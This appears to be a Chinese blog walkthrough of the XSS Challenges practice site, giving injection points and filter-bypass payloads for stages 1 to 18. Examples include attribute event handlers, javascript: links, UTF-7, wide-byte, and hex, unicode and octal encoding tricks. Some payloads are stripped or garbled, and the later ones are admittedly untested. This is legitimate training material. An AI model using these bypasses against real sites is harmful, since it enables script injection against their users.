【基础知识回顾系列】用最简单的思路通过XSS Challenges 第1关到19关
前言
平台地址:http://xss-quiz.int21h.jp/
关键思路:
-
测试步骤和思路要清晰
-
随意输入易辨认和定位的字符:如123、666等,再打开浏览器的开发者模式,搜索上述字符,定位我们可以控制的代码所在的位置
-
确认被过滤或转义的关键字
-
在合适位置被注入我们想要的代码
-
搭配 burpsuite更丝滑
Stage #1
定位,搜索框输入123

发现输出在b标签里,于是把b标签和双引号闭合掉
" //
成功 XSS

小结
闭合b标签,插入script标签。
Stage #2
同样123开局

发现注入点在一个 input 标签的 value 属性里
前后闭合 input 标签即可
"><
当然插入属性里也是可以的
123" onmouseover=alert(document.domain) "
小结
属性内和闭合标签,是两种常规的思路。
Stage #3
123开局

发现跟 stage1 相仿
尝试
" //
失败
原因排查:
- 用于标签构造的
<>
被转义了 - 用于匹配掉双引号的双引号也被转义

后面发现POST参数里面除了p1还有 p2

那只能尝试 p2 注入
p1=1&p2=
成功 XSS

小结
某些站点仅对重要参数进行过滤,没有全局过滤,导致某些看起来“不重要”的参数存在注入风险。因此测试时最好每个参数都测试一下。
Stage #4
123开局
抓包发现参数 p3,这个参数在前端是没有直接显示的

在源代码中查找 hackme

类似 stage2
p1=123&p2=Japan&p3="><
当然属性内插入也是可以的,不再重复。
小结
实战场景里面,测试某些“隐藏”的参数可能有惊喜。
Stage #5
123开局

查看123的位置,同时发现前端有长度限制,直接修改其数值即可绕过
"><
小结
某些站点仅对参数的长度做了前端的长度限制,不过这种限制形态虚设。
Stage #6
调整策略,开局先测试过滤了哪些字符,比如<>、script、on等
发现<>不可用
于是只能插入属性内了
" onmouseover=alert(document.domain)

当再次光标划过搜索框的时候成功 XSS
Stage #7
调整策略,开局先测试过滤了哪些字符,比如<>、script、on等
直接用 stage6 的 payload 就成功了
" onmouseover=alert(document.domain)

Stage #8
开局123
发现 123 被制作成a标签

于是在a标签中插入 JavaScript 伪链接即可
javascript:alert(document.domain);
成功 XSS
小结
实战中,此类场景一般出现在接收用户输入用于制作友情链接。参考文章等。
Stage #9
输入 123
抓包发现一个隐藏参数euc-jp
查了下发现是日本编码,需要使用 IE7 浏览器
有个在线转换网站供参考:www.novel.tools
于是构造payload
p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
小结
此类站点很少碰到(国内),仅提供一个思路,即可以测试编码绕过。
Stage #10
发现 domain 被过滤了,尝试双写绕过
"><
成功 XSS
小结
双写绕过。适用场景:domain 被过滤。
Stage #11
123开局
在 value 里
script 和 onclick 都被过滤,无法在属性内插入了,只能闭合标签,在用a标签制作超链接
然后用
,
,空格等不可见字符对 script 进行分割
payload如下:
">点击跳转
成功 XSS
小结
编码分割绕过。适用场景:javascript关键字被过滤掉。
Stage #12
开局先测试过滤了哪些字符,比如<>、script、on等
发现过滤了尖括号、双引号、空格
百度发现,ie 浏览器会把 `` 识别为双引号
于是构造payload
`` οnclick=alert(document.domain)
`` οnmοuseοver=alert(document.domain);
没有IE的盆友,想偷懒跳到下一关的话,前端自己插入xss语句即可。
小结
单引号绕过。仅适用于IE浏览器的注入。
Stage #13
开局123
多了个 style

过滤了<>
和"
百度 style XSS,“行内样式的动态特性”(即 ie 能在 css 中执行 js 代码)
IE 浏览器,IE11 无法执行,IE8 测试通过。
payload如下:
background:url(javascript:alert('xss'));
Stage #14
同 stage13
但过滤了 url,script,eval,expression
所以用注释符打断
payload如下:
expr\0ession(alert(document.domain));
expr/**/ession(alert(document.domain));
小结
注释符分割绕过。
以下题目仅提供思路,本人没有实际测试。
Stage #15
过滤了 document.write()
转义了<>
,"
,&
,
过滤了\
所以双写\
unicode 编码或 16 进制编码搞定<>
,"
,&
16进制编码
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
Unicode编码 \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
Stage #16
同 stage15
不过过滤了\x
,即 16 进制不能用了
那就用 Unicode 和 8 进制
Unicode编码 \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
八进制 \\74img src=x οnerrοr=alert(document.domain)\\76
Stage #17
类似于 sql 注入的宽字节注入
用 %A7(% 几都行,只要符合下面可以用来欺骗的编码)加上双引号的 %34
让 html 自解码机制误认为这是宽字节字符,从而弄掉双引号。
- 半角片假名使用两个字节来表示:0x8E + 0xA1-0xDF
- JIS X 0208 字元使用两个字节来表示:0xA1-0xFE + 0xA1-0xFE
- JIS X 0212 字元使用三个字节来表示:0x8F + 0xA1-0xFE + 0xA1-0xFE
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
Stage #18
需要老 IE,可能得 IE5?看到有人说 IE6 不行
题意是将每个字符的二进制最高位置为 1,然后再转为 16 进制
">